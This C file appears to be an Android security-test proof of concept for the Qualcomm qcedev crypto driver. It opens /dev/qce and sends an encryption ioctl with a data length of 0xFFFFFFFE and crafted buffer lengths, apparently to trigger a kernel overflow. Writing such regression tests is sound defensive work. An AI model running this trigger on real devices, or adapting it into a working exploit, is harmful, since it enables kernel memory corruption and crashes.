/*
 * Copyright (C) 2017 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
#define _GNU_SOURCE

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <string.h>
#include <fcntl.h>
#include <limits.h>
#include <inttypes.h>
#include <errno.h>

#define QCEDEV_MAX_KEY_SIZE     64
#define QCEDEV_MAX_IV_SIZE      32
#define QCEDEV_MAX_BUFFERS      16

struct  buf_info {
    union {
	uint32_t        offset;
	uint8_t         *vaddr;
    };
    uint32_t        len;
};

struct  qcedev_vbuf_info {
    struct buf_info src[QCEDEV_MAX_BUFFERS];
    struct buf_info dst[QCEDEV_MAX_BUFFERS];
};

struct  qcedev_pmem_info {
    int             fd_src;
    struct buf_info src[QCEDEV_MAX_BUFFERS];
    int             fd_dst;
    struct buf_info dst[QCEDEV_MAX_BUFFERS];
};

enum qcedev_oper_enum {
    QCEDEV_OPER_DEC         = 0,
    QCEDEV_OPER_ENC         = 1,
    QCEDEV_OPER_DEC_NO_KEY  = 2,
    QCEDEV_OPER_ENC_NO_KEY  = 3,
    QCEDEV_OPER_LAST
};

enum qcedev_cipher_alg_enum {
    QCEDEV_ALG_DES          = 0,
    QCEDEV_ALG_3DES         = 1,
    QCEDEV_ALG_AES          = 2,
    QCEDEV_ALG_LAST
};

enum qcedev_cipher_mode_enum {
    QCEDEV_AES_MODE_CBC     = 0,
    QCEDEV_AES_MODE_ECB     = 1,
    QCEDEV_AES_MODE_CTR     = 2,
    QCEDEV_AES_MODE_XTS     = 3,
    QCEDEV_AES_MODE_CCM     = 4,
    QCEDEV_DES_MODE_CBC     = 5,
    QCEDEV_DES_MODE_ECB     = 6,
    QCEDEV_AES_DES_MODE_LAST
};

struct  qcedev_cipher_op_req {
    uint8_t                         use_pmem;
    union {
	struct qcedev_pmem_info pmem;
	struct qcedev_vbuf_info vbuf;
    };
    uint32_t                        entries;
    uint32_t                        data_len;
    uint8_t                         in_place_op;
    uint8_t                         enckey[QCEDEV_MAX_KEY_SIZE];
    uint32_t                        encklen;
    uint8_t                         iv[QCEDEV_MAX_IV_SIZE];
    uint32_t                        ivlen;
    uint32_t                        byteoffset;
    enum qcedev_cipher_alg_enum     alg;
    enum qcedev_cipher_mode_enum    mode;
    enum qcedev_oper_enum           op;
};

#define QCEDEV_IOC_MAGIC        0x87

#define QCEDEV_IOCTL_ENC_REQ					\
    _IOWR(QCEDEV_IOC_MAGIC, 1, struct qcedev_cipher_op_req)
#define QCEDEV_IOCTL_DEC_REQ					\
    _IOWR(QCEDEV_IOC_MAGIC, 2, struct qcedev_cipher_op_req)

void thread_func(int fd)
{
    struct qcedev_cipher_op_req req;
    unsigned int i;
    char *data;

    memset(&req, 0, sizeof(struct qcedev_cipher_op_req));

    data = mmap(NULL, 0xFFFFFF * 3, PROT_READ|PROT_WRITE, MAP_ANON|MAP_PRIVATE|MAP_POPULATE, -1, 0);
    if (data == MAP_FAILED) {
	exit(0);
    }
    for (i = 0; i < 0xFFFFFF * 3; i += sizeof(void*))
	*((unsigned long long*)(data + i)) = 0xABADACC355001337;

    req.in_place_op = 1;
    req.entries = 2;
    req.byteoffset = 15;
    req.mode = QCEDEV_AES_MODE_CTR;

    req.op = QCEDEV_OPER_ENC;
    req.ivlen = 1;
    req.data_len = 0xFFFFFFFE;
    req.vbuf.src[0].len = 4;
    req.vbuf.src[1].len = 0xFFFFFFFE - 4;
    req.vbuf.src[0].vaddr = (uint8_t*)data;
    req.vbuf.src[1].vaddr = (uint8_t*)data;
    req.vbuf.dst[0].len = 4;
    req.vbuf.dst[1].len = 0xFFFFFFFE - 4;
    req.vbuf.dst[0].vaddr = (uint8_t*)data;
    req.vbuf.dst[1].vaddr = (uint8_t*)data;

    ioctl(fd, QCEDEV_IOCTL_ENC_REQ, &req);

    exit(0);
}

int main(void)
{
    int fd;
    const char *dev = "/dev/qce";

    fd = open(dev, O_RDWR);
    if (fd < 0) {
	return EXIT_FAILURE;

    }
    thread_func(fd);

    return EXIT_FAILURE;
}